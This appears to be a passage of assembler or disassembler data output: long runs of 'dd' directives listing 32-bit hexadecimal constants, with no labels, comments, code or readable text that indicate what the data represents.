		dd 590167FFh, 8471218Ch, 8FAB400h, 7473F4D5h, 0FC663102h
		dd 0F81DEE10h, 820025CCh, 7F23145Dh, 1DA1FB3Eh,	0C0E8C421h
		dd 0E7D069C9h, 1A0097B8h, 9D9377EAh, 92E223h, 587501CDh
		dd 5F4B5F3h, 0FD7FD500h, 6554DA82h, 0E0C01DEFh,	1BF1405Fh
		dd 0AF6EAE8Bh, 8F766D3Ah, 60502E19h, 144A5181h,	0FC5B74EDh
		dd 0E6A90080h, 52A3D18Bh, 0A67CE2F7h, 3C23A200h, 199F4B03h
		dd 0F6D000BAh, 2AE5321Eh, 0EE007B33h, 70F59730h, 0C2FE8B3h
		dd 4395BEDDh, 663D4C38h, 0BFD81D7h, 0E4BD744Eh,	209D8C0h
		dd 9CA00193h, 4B436028h, 73593C98h, 0DBBCE000h,	0C30B1BE3h
		dd 41C700D7h, 0A6C12228h, 440105C2h, 93FA1C67h,	7980364Fh
		dd 7D8A096Fh, 5F001199h, 0DAB9ABA5h, 13F6ED45h,	59DC3Fh
		dd 3C184150h, 82005B60h, 0C7D50B63h, 0BD5133h, 77A9AC3Fh
		dd 4B7F377Ch, 97001B7Dh, 7759362h, 72EF6B2h, 7034DBF0h
		dd 72EF60FFh, 6F30459Fh, 0D0FB485Dh, 97A70078h,	54825079h
		dd 250024DCh, 555AE0E2h, 138E18h, 9FE4DB7h, 6F8617F0h
		dd 7F4C9B7Eh, 211F0056h, 0D3C91866h, 4B5300B4h,	65121C5Fh
		dd 2E0C8891h, 382CCC27h, 0E1011207h, 9BB10E25h,	6E2E8BEFh
		dd 0A0DF1A60h, 10C06CA5h, 29566522h, 8240087h, 0BE72F77Ah
		dd 0EC006DFEh, 0A106BF02h, 4C512B2h, 0A545F169h, 9C7A80F4h
		dd 0A30784F8h, 0A6D65B30h, 16E0F640h, 229A1710h, 8F7CC33Eh
		dd 4878AC80h, 0CF37E600h, 23F60729h, 397374F1h,	6A00F7E8h
		dd 4D55B961h, 0D3006053h, 0CA319AA1h, 7F4C4Ah, 954EF257h
		dd 3AD76F90h, 0EE3E18C0h, 3B9B4DAAh, 3100C317h,	6459ACFBh
		dd 0CD07DF55h, 0B4508C0h, 1B186B61h, 0E1C12080h, 1CEFF36Ch
		dd 0FE633B01h, 32B5245Bh, 0CC4DC8h, 7C85F1A7h, 94B946F5h
		dd 8CF292Ch, 0DF4E0603h, 0DDA2A00Dh, 9B391E3Ah,	82990071h
		dd 139172A3h, 42BEC05h
		dd 8C002E5Ch, 0F6DBC2BEh, 53C125CEh, 18C040D0h,	0E58AACECh
		dd 5F793Ah, 59ED974Eh, 32BD708Dh, 838B4100h, 8CAA2481h
		dd 0A13B30B1h, 94CB5139h, 5C402103h, 902462ECh,	0FC719F80h
		dd 3D3E0026h, 7A832D0Fh, 1B3B147Fh, 73FB80BAh, 0DFE580E2h
		dd 3E590EF4h, 1E405406h, 9435285Eh, 0BA0CA4A0h,	30C011FCh
		dd 0AFABDC86h, 719360A8h, 7F8F2BE4h, 98425B18h,	0B4C830h
		dd 0EAFF8CD1h, 0B364A431h, 137D9A07h, 0A000BB4Eh, 5BF629h
		dd 0E78A23B6h, 371EC042h, 1957CB00h, 0D80BFEC7h, 45523B4Dh
		dd 436900F4h, 0CEE4F307h, 0C509B322h, 80FF4CE0h, 52D19350h
		dd 0FC290099h, 0F3DA15BEh, 0E50089E7h, 7AB64C25h, 3364EE1h
		dd 2B68956Eh, 0B3B86B5Ch, 5474CD5Bh, 7678F107h,	4C1094B5h
		dd 0F8C04EE0h, 0D88001CEh, 0BB69E456h, 0F38CCC2Ch, 9551AC1Eh
		dd 7C1C8440h, 0F0F729h,	602F4DCDh, 0DF37385Eh, 0B6192300h
		dd 0C91CACB2h, 19C90D0h, 0B53FF10Eh, 61AD7E76h,	3845F4ADh
		dd 2D5DA100h, 8C8BAF9h,	0F130012h, 74561097h, 303D09A4h
		dd 729607CCh, 1F60AEE0h, 16BD78E7h, 1288D47Ch, 84960019h
		dd 0DB296151h, 0D523BC00h, 2A5AE2A7h, 0D9800473h, 0C815B3B2h
		dd 8901776Ch, 1D0E2D51h, 0BAF4757Bh, 0E3D800B7h, 0FB831448h
		dd 0AE008A04h, 31D52099h, 0ECC291h, 932FE9E0h, 0F48D2DCh
		dd 1600F8B0h, 568A82E5h, 78873B6Fh, 0CFA30396h,	926CFA1Fh
		dd 98C002E2h, 0C1657EAh, 0A043F444h, 0E8DFB150h, 33CAB375h
		dd 0D29BFE5h, 77A5188h,	0A5392F00h, 375F05A6h, 73E800C5h
		dd 36B4E6C3h, 0EE00A756h, 801A4DFFh, 0F8C6A1Eh,	0BB071488h
		dd 1EFB2467h, 9536D860h, 0A300A98Bh, 1D98FE08h,	0CD26D5h
		dd 0B4EF1F40h, 0C34F1492h, 2A071807h, 0B36047D6h, 170A598Bh
		dd 0BA608825h, 0A063D20Eh, 0E181DFB2h, 0FEA00076h, 4D21F1ABh
		dd 9490DDC3h, 2400FDF8h, 29F56B1h, 3925BA2h, 36C5648Bh
		dd 4E814CE6h, 74A5D4BFh, 556F40C0h, 3C0FA8DEh, 7002DDBBh
		dd 0BE8E79F6h, 363C74C0h, 98ED7402h, 40AC64ADh,	30230445h
		dd 0E6E06A40h, 7918E2BEh, 9E10680Bh, 317E05E7h,	8F4202h
		dd 2EF012A4h, 0BC00A63Eh, 862A8B89h, 51C6A77h, 0DC45F260h
		dd 9EBEC38Fh, 121F74D0h, 0FE434F07h, 40892799h,	0F06F931Ch
		dd 22CD00C3h, 9297B54Bh, 0F973E01Eh, 0CF848E0Bh, 8B8089CCh
		dd 6980182Ch, 1B050094h, 6D8C1F6h, 71003623h, 35B24A3Fh
		dd 7C7A89h, 0A8452231h,	79B41066h, 325610C0h, 82412Ah
		dd 9C07CA68h, 0EEB9A8AEh, 2075C207h, 5FB7A2C9h,	97571770h
		dd 0D0B4607Fh, 0DB2F262h, 15E4DB12h, 0D43848C0h, 42313D4Eh
		dd 5400933Ch, 25970296h, 7600DB46h, 7281FBA2h, 0F58042Ch
		dd 5CFCD415h, 0CD0384D5h, 0B54D6FB4h, 0B2AEBE8h, 7472C102h
		dd 809DDFBFh, 0F3103CF4h, 16C70FB0h, 2EC39BC3h,	2198930Eh
		dd 4105F234h, 43ADEBA2h, 0C11D14D0h, 7E240FFEh,	4CE0D2F4h
		dd 98969357h, 0FCE4F100h, 0DF583DA9h, 37E7008Dh, 0AEC528C0h
		dd 5E00EF27h, 253F1AA7h, 240DF3A0h, 4180B4Bh, 80063617h
		dd 551D15D7h, 64B63Dh, 0E6437AFFh, 0AC239Eh, 74EAEF61h
		dd 3B5E982Fh, 0CCD12624h, 8811C700h, 4B48C55h, 0A80F2E13h
		dd 8F8080A1h, 41D6B0Ah,	0FEC423AAh, 14B2E0F7h, 91C8713h
		dd 1680DDD0h, 0A8262F85h, 0F00002E6h, 54F1D728h, 360FF5h
		dd 0BAFA1E2Ah, 0FC9AE1DDh, 4CAD690Ah, 9780B031h, 0F33E92A6h
		dd 0D84102B6h, 0DCE2EA7Ah, 384B82E0h, 1003637Ch, 0B2E3E84Fh
		dd 0FC58C85Dh, 949A0048h, 0FA6B8F7Fh, 100278Ch,	434BEFE2h
		dd 304FC4A1h, 91582655h, 9573997Fh, 31186F01h, 6468F79Ch
		dd 50B9D8h, 0B42C46AAh,	740EC2E0h, 0B1231C00h, 57AEA97Ch
		dd 3BF800E3h, 0A533F129h, 41004B21h, 952CDEC9h,	73C7519h
		dd 43A88C94h, 99A0052h,	1C02F5E2h, 0F2718370h, 0B0026038h
		dd 0E18133Fh, 82CC00C3h, 0BBD9A677h, 0D142BF00h, 3CF3848h
		dd 0DD6A39BAh, 1CB8940Fh, 75DAA040h, 0EFFC77A8h, 70C6DF00h
		dd 1F116013h, 44950001h, 355A45B1h, 4E0087E7h, 38E9A192h
		dd 21AF4E1h, 143F847Ah,	0C1D4EDF0h, 0AB64D700h,	4E7CC97Dh
		dd 46B40065h, 593A2C1Ch, 0EC07FC7Bh, 6BA6C341h,	0AA934D0h
		dd 503909E9h, 5800D72Dh, 28EE902Ch, 7F64161Eh, 8E8B79C4h
		dd 0B72F0890h, 8768008Dh, 0E26AD3A8h, 0A50328E1h, 8E1BAEADh
		dd 0ECDD065h, 43AB0020h, 0E8AF2C2Bh, 0E016F2F1h, 78007794h
		dd 0DF74A66Ah, 94274ABh, 782EDB34h, 0CBAE9000h,	0E814FCFDh
		dd 0E8D638h, 349C5686h,	9837BDh, 1527C7Bh, 0B274CA67h
		dd 35C96400h, 58FA9642h, 348F0093h, 1B0FBD9Ch, 9B770E2Ch
		dd 49B12116h, 60B500ABh, 4809C966h, 22068400h, 33A9D67Eh
		dd 0B75301BCh, 0DD166A3Fh, 0DEB0C82Ch, 6407F071h, 62B6555h
		dd 0ABF87710h, 0B16B00B5h, 2CE0522Ah, 6D1D1F97h, 98384B9h
		dd 9BFD8399h, 0CD92F8F2h, 0DC9C00D8h, 3E15BB45h, 65001A34h
		dd 7032D6E5h, 3F688A1h,	6B42DAF0h, 3CB01C2Dh, 0B4F8DBA6h
		dd 0D2486B98h, 0A0C91EDCh, 0F9B98540h, 46FE271h, 0E5661646h
		dd 5568E00Dh, 51424907h, 9CA0A2E4h, 3A0FB77Eh, 260089EFh
		dd 0D696F73Fh, 1201A58Dh, 0D8A7FC9h, 69E4AED8h,	70130082h
		dd 0C1F5E84h, 8500EEE7h, 74A33ADCh, 0EE91D451h,	0ED3D00D8h
		dd 68F4BF64h, 5F0B11E5h, 0CCB36h, 7510B0A4h, 0EBBD0032h
		dd 0EAF4DF2h, 701FC07Bh, 0F307A86Ch, 0E9286Dh, 24E3C544h
		dd 0EEB40034h, 0D8652197h, 0EA7788AAh, 16BF750Bh, 4C2C40F8h
		dd 87BE00FEh, 9CE9A954h, 0BC00EAE5h, 0C5DC999Eh, 596CEBh
		dd 3D8E763Eh, 0BB94FA5Ah, 4A5E5007h, 0DA6074B1h, 2E1635AEh
		dd 2657262h, 446569ECh,	0DBF51AE0h, 0A5EA3700h,	878E5D4Fh
		dd 0A64600C3h, 90A49534h, 9600067Ch, 3B80283Eh,	0A0854Ah
		dd 0B6A978C5h, 0FD5B3463h, 0B1F08698h, 17886000h, 0D26A180Bh
		dd 0A4BA00C0h, 0E484BBDFh, 0FFFA01CDh, 0C86B9200h, 21118B5Ch
		dd 2E1000C6h, 0A7B6664Ch, 63162CBBh, 0A490CE25h, 5C11AFF7h
		dd 0E607A957h, 3084A76Dh, 0B78A2EA2h, 27361D00h, 416AF2B1h
		dd 0EAB89865h, 2DB01C7Eh, 0CED280C4h, 0FC7CA854h, 0F83C1777h
		dd 3E278071h, 964AFB6Fh, 0C6E91625h, 0C5DD0ACAh, 0C85D00DDh
		dd 0A017C4B7h, 0A4748B00h, 762FCD19h, 8CA2E8Ch,	68F618A1h
		dd 7C1E831Ch, 0BE00AF64h, 6222828Dh, 50E930E7h,	658A7921h
		dd 398BEE9h, 401397BBh,	0A010A3B3h, 601D8230h, 38E32167h
		dd 0D40791F7h, 0DCE57A0Bh, 68807941h, 952BC910h, 39DF2F07h
		dd 0EC871666h, 1D3D0A13h, 9CDE18h, 998E0604h, 44006E02h
		dd 65B82616h, 0BB6629Ah, 5C819649h, 1BEE5A80h, 950A9B40h
		dd 58EBE30Fh, 86CAAB00h, 1436CDADh, 74F725E7h, 0AF67D600h
		dd 298DBBE6h, 0B9791873h, 0AA215B00h, 90A5BA39h, 0CEB40380h
		dd 3E19F77Ah, 71B573F8h, 0AD20B11Fh, 606E16C3h,	0C054FB2Dh
		dd 50373Eh, 7AA593FAh, 7B5C15F1h, 3802F900h, 2DFD96A6h
		dd 5D620E86h, 0B2E05EDAh, 0B3E6D121h, 0DBD1B02h, 0E225EC70h
		dd 3DD28063h, 5BE91Dh, 3729DAFFh, 0A1643F35h, 78113Bh
		dd 6626EE34h, 0AD6A4918h, 11534504h, 0B0AE041Ch, 3FED8DD9h
		dd 511C5307h, 7F913F0h,	10987BE7h, 2DC6816Dh, 0E61DC9E6h
		dd 0DB008455h, 0FC4FBEE9h, 3CCE073Fh, 22F9EEA4h, 36C01165h
		dd 0C7076F99h, 0D466C00Eh
		dd 0D6F29730h, 0F6160009h, 0C56A4827h, 0B50044A8h, 3B0C1A01h
		dd 3118910h, 0DC1ECBC0h, 0E6B3E1FCh, 5E492104h,	0D382ABF6h
		dd 102096F3h, 0C1B7051Dh, 0DA68B3B4h, 462FE986h, 74EAF019h
		dd 0C2784500h, 39967060h, 54CC7584h, 2C58861h, 17FF6427h
		dd 90804A6Bh, 35F925FCh, 23B4B300h, 629F086Fh, 0EB780F7Ah
		dd 518643A7h, 0D60069D8h, 0FA707546h, 5F9CE4A9h, 183AF8EBh
		dd 9C880EDh, 0BCCC544Ah, 0CBCA0FB8h, 70C1D761h,	60A9A830h
		dd 0B4001427h, 982866D9h, 0C11BEFB2h, 0A134C630h, 0A9688327h
		dd 0C8150DD4h, 5EDF67Eh, 2A1AB114h, 0BDEF802Eh,	0E160D422h
		dd 0D8D6639h, 0F0310143h, 0A5BC1AFh, 504986C0h,	28CBBEh
		dd 0D299734Dh, 11E3B9AFh, 0AC60140Fh, 0FFBB00C5h, 3518905h
		dd 0B4174912h, 410A71D7h, 50D4D0D6h, 5A4F8C1Fh,	22589465h
		dd 0D5FB0093h, 68E17386h, 0EE005804h, 97D40887h, 0A72370h
		dd 1A6C537Ch, 6125C6FFh, 0CC38B9C7h, 8888C833h,	476CAEh
		dd 839AA7BFh, 0A1DE74C9h, 0C4525C1Eh, 0E49CDC00h, 366CA22h
		dd 7065BE8Bh, 0D8B318D2h, 8E205800h, 23797BE4h,	983430CAh
		dd 5A3ABB99h, 7A6D4E07h, 9EE08F0Dh, 12DC203h, 0BB812B17h
		dd 24AF8B41h, 0B6016004h, 3C198E5Bh, 0AB7025B0h, 2D670456h
		dd 809D6AAFh, 1BCBBF38h, 4841082h, 0B19B000Dh, 0C974D64h
		dd 0F1E013C2h, 2753A400h, 244EDBB2h, 3CE40159h,	3566A633h
		dd 0A00FE73Ah, 0A04761D2h, 0CB138ABBh, 6F7A3A74h, 5789780h
		dd 0F0E5E0CCh, 2642B700h, 0CB7228B1h, 73713A75h, 0E0F8B200h
		dd 5D516013h, 0FD62FE18h, 80BCB430h, 0C900C5F4h, 1128B2C4h
		dd 0E02D6588h, 0F2C7076Dh, 0C0780159h, 0DEC6B64Dh, 81CBAF00h
		dd 505A1A10h, 6E9A30D4h, 27370371h, 81BE4C00h, 0EF7F1438h
		dd 450F02D6h, 0EE102968h, 3E2189C0h, 24F92F00h,	9A73560Ah
		dd 0CC41C013h, 7FA6E801h, 0FFE621FCh, 0F26F7B00h, 0ED980E8Dh
		dd 0AD751CD3h, 0A50FC1BCh, 8CA44FFAh, 0F1828E50h, 18030071h
		dd 0BECF402h, 130AD2Bh,	938F6CC0h, 79750E97h, 0F52076E9h
		dd 72B730DAh, 0F83CA400h, 9C338FFEh, 84AC54C5h,	0C2AB0048h
		dd 605D3E53h, 4D03D3E9h, 462AE6A5h, 0F57298FBh,	40E3001Eh
		dd 3521126h, 9600596Bh,	1F30EDC4h, 28B60416h, 7470F883h
		dd 0D78183Ch, 719E116Fh, 448C9900h, 46092FBEh, 8EE70324h
		dd 0B32EAE6Dh, 0E8998929h, 0B7756C00h, 3E6125Ch, 4F0DF9F0h
		dd 23E03A02h, 0CA06785Dh, 93C848B2h, 6ACB1231h,	8A004713h
		dd 677C8023h, 81009B0Ah, 27CDC416h, 1403D43h, 30B2500Eh
		dd 23E11ACBh, 0A0F50E0Ch, 81F32F1Bh, 7D1D3A29h,	6C55518Ah
		dd 88786480h, 21004934h, 0EB5F11D4h, 0A03E7AFEh, 624A5DD3h
		dd 6CB82841h, 0D2B09B01h, 7B9264D4h, 0E3E95C22h, 0D445BB00h
		dd 8273EAF5h, 0FE7C8003h, 0C04F918Ch, 1AFC6D3h,	0ECCAF460h
		dd 0E0CCA3E1h, 203DBF6Fh, 83A200B1h, 0F5971D38h, 6C953C80h
		dd 5012A301h, 30708F9Dh, 7702C389h, 753CEBE4h, 1E14A07Eh
		dd 3F7A6Fh, 4521ED51h, 81337974h, 7198BE07h, 1321AC3Eh
		dd 3080A92Bh, 35E427D4h, 6F0ACCC1h, 38965391h, 81DA9F03h
		dd 0A6C6C7A8h, 93F831h,	2755A765h, 0AC07CB9Eh, 108C7500h
		dd 8335E7DEh, 58DA1FC7h, 67FA416Dh, 82337ADDh, 0DE4A348h
		dd 0D26303CDh, 0E8EA5100h, 141EAE9Fh, 0DAF20145h, 3559AB15h
		dd 6238807Fh, 836D26DFh, 4DDD39A8h, 0FB6C8901h,	0C82CEDBCh
		dd 0E1E81694h, 8158693Fh, 8F4A565Ah, 785183A7h,	0C99CCCF0h
		dd 3580FFBCh, 0BA26A9AAh, 0C0C33FE8h, 933A63h, 8D363D90h
		dd 52D86E73h, 0EE774D00h, 25B29D2Dh, 27B90032h,	978174BCh
		dd 9131D876h, 0D5635880h, 850D180h, 0F10A59A6h,	0CF250B0Ah
		dd 5B0060D3h, 8CBAC9Ah,	743328C0h, 0ADF8039Ah, 14718946h
		dd 0B35403C0h, 0D944B812h, 0D0F80C60h, 493B610Eh, 9BCE123Eh
		dd 0E0B94871h, 74FBCAC1h, 0E93A011Ah, 57872DF9h, 0B966D8C8h
		dd 0ED79A00Ch, 4995406Eh, 0F0860834h, 5000C984h, 0E28B705Ch
		dd 2A632BDh, 899FAAB4h,	989AA423h, 310ECD43h, 0C0D5CD7Eh
		dd 9085A1ABh, 3E203E3h,	8255BC65h, 9CA3990Ch, 7B8C7976h
		dd 0ADD8296Dh, 21119Ch,	0E25066EEh, 3E40B4Ch, 6FC7AD89h
		dd 21002863h, 52F273D9h, 0C067734h, 96E2F59Ah, 4B090860h
		dd 30FBF62Dh, 29937B1Ch, 40D0BCBEh, 0A4659125h,	31EF610Eh
		dd 1C622058h, 51B21221h, 0A7C46CCCh, 0A7884C3Eh, 8EED3B00h
		dd 0DE940513h, 53941848h, 778A0018h, 7D8F519h, 43BC0750h
		dd 70246B4Bh, 3EC11301h, 0FF9CDD06h, 0FB982EE4h, 0A86CD160h
		dd 892AEDE4h, 0CE65E0BFh, 0CD112660h, 0BDEC048h, 0A52722Ch
		dd 886AAA04h, 973FFAB8h, 76F403A1h, 0ECDDAF4Eh,	24C61898h
		dd 11F4F6D9h, 79520028h, 6E6D5C91h, 0DEF002Dh, 208C89CCh
		dd 8C03807h, 2E954845h,	382F03Eh, 39EFF090h, 90C4EEDDh
		dd 669EA03Ch, 0BC79F601h, 0B20BE2F8h, 2897520h,	0CA273E25h
		dd 1446A6EDh, 70A101F4h, 8B65D0D8h, 0CEC44F00h,	81920280h
		dd 4524988Ch, 2A631D6h,	6898D458h, 19611BD0h, 0DFF73E89h
		dd 0E262989h, 4D80342Fh, 0CC5592CEh, 89008E70h,	5EEA1E3Bh
		dd 0A06DB2F0h, 403112E0h, 41CFD3C9h, 16EEE39h, 17662B92h
		dd 0F7658F0h, 1C85F890h, 6138A86Eh, 6B49E7A3h, 0A7331264h
		dd 20888862h, 7A0FB67Ch, 0CA43A201h, 0B75B1712h, 17668C30h
		dd 102C57B8h, 7444B1E2h, 87E400F3h, 8C6FBAE2h, 980E01FEh
		dd 6C070FF0h, 7CC598Fh,	3596B239h, 0D3EF03DCh, 0F516D9A0h
		dd 159BE103h, 95DAE4C6h, 0D3899820h, 8C9054F3h,	0E7EC0075h
		dd 0B91E7021h, 0E40174C9h, 2FBB2E04h, 0E1818FF3h, 536755F0h
		dd 80B9D511h, 9F6F2079h, 0E0E248AAh, 0A33A1E8Fh, 1F10E4E6h
		dd 6D403C9Ch, 0C9F669C4h, 0C0413BC3h, 0B0BC37A1h, 70D5309Eh
		dd 448BA428h, 4C9159C3h, 879249Ch, 2971638h, 0ACDE0322h
		dd 0EBBD9440h, 0F2160093h, 25C17020h, 88EAEEh, 0BE9471B1h
		dd 5838E446h, 0C72E2C24h, 0FA423E00h, 30CA6EFBh, 215040A6h
		dd 0A9C04FDFh, 61C05A27h, 0B27616EAh, 2C01BB15h, 0B9A962BDh
		dd 21F822F9h, 0B7050216h, 8B933E4Bh, 0D01518C5h, 0E3E700E0h
		dd 0BBFDAD1Ch, 9A3A005Ch, 89716E81h, 95184706h,	0CAB98C48h
		dd 0B1540017h, 0F480B02Dh, 2909C70Ch, 447DEDCh,	7088DFC0h
		dd 0EA160033h, 9B9FA082h, 0FAE44240h, 0A7DBD801h, 0D34AF66Dh
		dd 9B5DC4Ch, 0F0739351h, 412E40Fh, 482AC430h, 906F1FDBh
		dd 5CD301C9h, 0A74DBC87h, 0D8EE4180h, 3870BFCDh, 0AAA19B00h
		dd 5FDD3B19h, 0D89254F0h, 8FA301EBh, 0CA84B863h, 0D922D0D5h
		dd 6D00D379h, 9DDE1CE2h, 0F734EE0h, 8BB125C9h, 7F27C4h
		dd 7735D2A8h, 63D8070Ah, 0F9FBF796h, 8D0F908h, 460C8DE2h
		dd 1C9195h, 459CE38Eh, 0DB63F39Bh, 6AD4FE04h, 2880C981h
		dd 9023884Ah, 7B6E443Ch, 78B58E01h, 39BCC7BFh, 9D8CBF3h
		dd 0CB86FFF8h, 899DF805h, 0AD90E794h, 0E33CF9A4h, 0AFEF8ED0h
		dd 0D3E92003h, 2F6F8B6h, 320A35D8h, 0D0EED0F9h,	6DBC1900h
		dd 1C5CBD0Fh, 38CF3054h, 0BAA31759h, 0B89D6B00h, 0D65FFBC3h
		dd 0B4940115h, 0C08666DFh, 0A4826ABh, 0F8522C24h, 0B443F08Ah
		dd 57964780h, 5CCD2AAEh, 8CC3CC02h, 0BAD3E04Fh,	9C2D2907h
		dd 0C070D6AEh, 24E38765h, 93A41CE1h, 0DDA408F3h, 0F901268Ch
		dd 0EB7302A8h, 8BFF2A44h
		dd 1BE0BC60h, 349100B8h, 70BA5C83h, 0C409749h, 0E2A108C6h
		dd 0F5E31D4Fh, 0B00B8499h, 201930DCh, 60104595h, 6E03CB2Ch
		dd 0F3D0FCC7h, 784FD075h, 0A6923938h, 9C708964h, 8F3C16CCh
		dd 6F48E401h, 3E38B0CEh, 22682928h, 75167FF3h, 9C13858Bh
		dd 5DDD9050h, 0E37D0148h, 9E44015h, 0A932B830h,	34224BD4h
		dd 0AB2BCE00h, 9C0A6046h, 93C7C300h, 0FD2F2DCFh, 1DEB0A8Bh
		dd 1890B8A0h, 154719Dh,	0E9DC9613h, 0DEA9680Fh,	586C261Fh
		dd 82F858h, 0A289F06Dh,	0D3383DC3h, 6B162284h, 0FF63E25h
		dd 0BFD6854Ch, 0B175C8C8h, 38778050h, 4435EDDBh, 2F6D7924h
		dd 0CDC0CA1Eh, 0CFEBFBE5h, 0D99C01C1h, 393EF59Eh, 15344126h
		dd 6EC91258h, 0BF6499C4h, 4053184Ch, 30AAB1Eh, 0F399F6B5h
		dd 1900BBE3h, 0F5410FA0h, 0F20EFD44h, 2D331E88h, 7B8F4060h
		dd 155EC438h, 0DFF2F80Eh, 6C4012EEh, 0BE6487B6h, 98612412h
		dd 0D13E03B4h, 215C5716h, 0FDA980CCh, 0A30A398h, 0ADB01C9Ch
		dd 84D90484h, 2324A24Dh, 4B6E00E4h, 754F540Ch, 7FCA4200h
		dd 27FEA5A0h, 319B12A6h, 29B87108h, 28081519h, 221D4EDFh
		dd 0E3202CB0h, 0DF231194h, 0CC0F004Fh, 70C6BF58h, 0EE980010h
		dd 0A70D76F2h, 9305DEE4h, 72D2004h, 8BC6F4DDh, 0AAD80374h
		dd 0EF83C5C1h, 0B88CF2CEh, 1D763BCh, 0A2361A49h, 2859E40Ah
		dd 53911380h, 0D37D5C21h, 0D837028h, 0A10061DFh, 739DC637h
		dd 6C0E391h, 0F2FCD828h, 63F3979h, 0FE9080D7h, 96C9FB26h
		dd 0A4C1046Fh, 0B6A53946h, 91AD3094h, 7CEFA21h,	0E60CE301h
		dd 9A57A0h, 65D832Bh, 5C376A12h, 59092822h, 0E791608h
		dd 3380F1C7h, 0B58C68FFh, 0FC1214D3h, 98F524DCh, 0C0ADE6D4h
		dd 3FD0EC11h, 8D3822F2h, 8098BBD7h, 0BC070E99h,	0FD9BF0Ah
		dd 2721E4FEh, 0F8DB8EA0h, 792EFB62h, 4C121CF5h,	0A2499CC1h
		dd 1BDB5183h, 6E801299h, 8C039E8Dh, 623602ACh, 748CE57Bh
		dd 20754E55h, 0B9A8FD48h, 3EC9FC00h, 42680F88h,	39E50238h
		dd 0F2E8DE53h, 0D4EE2064h, 563A9A1Fh, 0AD11D140h, 48267572h
		dd 297F00Eh, 95BF1AD4h,	91E3B4B3h, 49127A83h, 144B23E0h
		dd 2DC080B3h, 3DE7280Dh, 780044ADh, 0C74681B4h,	0BCAC47CFh
		dd 8250EE48h, 0C0BB34A3h, 30B4487h, 934E1AEDh, 0D5E8A12Eh
		dd 0BD0B16EBh, 2659154h, 236415CCh, 0A58887AEh,	0AA1EFB22h
		dd 6D12DD7Fh, 82D6204h,	88CFC0B0h, 3500C05Bh, 697456ADh
		dd 29339146h, 0A8A49A2Ch, 0D12918C4h, 4EA8D91Bh, 99FA3Dh
		dd 7AC88C50h, 59432293h, 0D60071h, 5CD0FD4Dh, 201E9665h
		dd 53D6D20Ch, 78A81C1Fh, 0F0086200h, 0DB724607h, 221C000Fh
		dd 4D28BDDh, 8400EADEh,	0F6882E92h, 0B55F9Dh, 49C00635h
		dd 0CA308F2Dh, 70F87300h, 5FF26466h, 0C6B42521h, 0AF00E8DCh
		dd 0D36C770Ah, 1CF4E3B3h, 81C9000Bh, 0F0A99DABh, 0B1007263h
		dd 659EEF77h, 18D57AF2h, 6E3F19E6h, 5F002666h, 0D4CB7E51h
		dd 0C0A8707Fh, 0A9677A88h, 0E2F2FC13h, 0AAAFBC03h, 0E8289D24h
		dd 3EF14Bh, 0EFEC2EA7h,	0F798D872h, 0DF39C500h,	0E439CE1h
		dd 0BBED0060h, 0A5A73C89h, 5D7BB8B7h, 90CD0F3h,	9871493Bh
		dd 852088DDh, 799560E1h, 0BF5AEB64h, 0D4AE7301h, 9C2B6C35h
		dd 16CE4980h, 9377D115h, 30A34A37h, 2B85B9C0h, 0C7B700C8h
		dd 8E103251h, 30069BEh,	2177B2C0h, 144C7533h, 341385F5h
		dd 31BC0E70h, 83633871h, 65F12F9Eh, 0CED44055h,	5B006E4Bh
		dd 5BFB3A1h, 716A80Bh, 80040125h, 3FD3F2ABh, 6CA98080h
		dd 0D10143B5h, 49BD565Ch, 8AD594AFh, 502EB080h,	1D85643Eh
		dd 5797269h, 7C1ED009h,	620015Dh, 0F3B52517h, 0AE4460B8h
		dd 0C97700F0h, 0A529F53h, 2532B743h, 403AAE88h,	578BCE9h
		dd 8A756865h, 0A3E8027Eh, 98A09EDEh, 198137C3h,	0C6E2C800h
		dd 48BFA8C9h, 9D530003h, 0D7E6A251h, 0A4A80D1Eh, 776F8507h
		dd 0E01B0E79h, 2FD0ED82h, 4F239h, 5EFBBC61h, 97EACEEEh
		dd 10BE6500h, 0C75A5405h, 0A6F12458h, 8F1F0068h, 0E70D6DF2h
		dd 9D33100h, 0CAFDE982h, 7672009Bh, 0F56FF8D4h,	6901AD87h
		dd 0E4620D6Ch, 70800A78h, 0A19C6EA0h, 50090F23h, 80C6D00Ch
		dd 59FB1179h, 0F4CE30E4h, 0C958A128h, 4373BD00h, 0EC8989Ah
		dd 0FAAB01F9h, 0B55CDF07h, 5784D46Ah, 0C5AF1C03h, 0B02FEC73h
		dd 60E0BF2h, 0E7CD8EBCh, 9B02A112h, 4D160A07h, 792EE071h
		dd 95F80030h, 1A920B59h, 0A900BFAFh, 9F76781Dh,	7D6E98Fh
		dd 62938309h, 8DB5B02Ah, 0F73288F6h, 610D50D0h,	6BD498BFh
		dd 0FCE15CDh, 290878FAh, 8B9D7946h, 0B4720Eh, 54581188h
		dd 177D0Dh, 0BB7D15C5h,	81290A8Eh, 30F79B31h, 0B6F85D70h
		dd 2F40C26h, 7B70D104h,	0C0E1F900h, 0F64D3E15h,	109F0024h
		dd 7C809A78h, 98C3EE0Eh, 158EBA29h, 0F07E7579h,	0A5A4C7Ch
		dd 2AE2B80Fh, 43C0E014h, 67360C94h, 0CF6A88C0h,	1F7E0AFEh
		dd 0CA534004h, 0D01815h, 8E0FB017h, 8C187422h, 3A71324Fh
		dd 467F20h, 624E1542h, 9A938FE6h, 1B230807h, 0C83AEB97h
		dd 0CC4031E4h, 5ADFAA91h, 0E6FDB700h, 3D38955Dh, 6AF50290h
		dd 663EE04Ch, 0C98C09Ah, 9998E5FCh, 3B74FE03h, 0E0E34D64h
		dd 1C91A1F6h, 40650743h, 2D92B6F3h, 80150D78h, 19849D62h
		dd 678105DAh, 0E38571E8h, 0E4B48CD8h, 0E4C77BE2h, 0C55B0025h
		dd 79562B1Bh, 540682FCh, 285972F3h, 6D431D50h, 304240D5h
		dd 5C9EC332h, 66DABC00h, 3B5B24E0h, 5AED18F6h, 0F71268D2h
		dd 65C4F354h, 4201BAF6h, 0AC7FC2FDh, 57D68462h,	4D9C1361h
		dd 0C60B6078h, 1B4E39C5h, 4BFEB840h, 3FDE32h, 0F36C4DE4h
		dd 1A9F9165h, 0B8F4B424h, 84407AE4h, 86E83ED7h,	38BDEE00h
		dd 0F1ECFFBh, 0E06C63E0h, 618E4073h, 49820809h,	0F85187A8h
		dd 35C202AEh, 670407Bh,	583D1088h, 71BA1154h, 2FDF7005h
		dd 0BDD020E5h, 1350EF93h, 4F0021D3h, 626F5EC7h,	24FE220Eh
		dd 0C1608885h, 0FC579D79h, 680070AAh, 0C33F662Fh, 2273DE64h
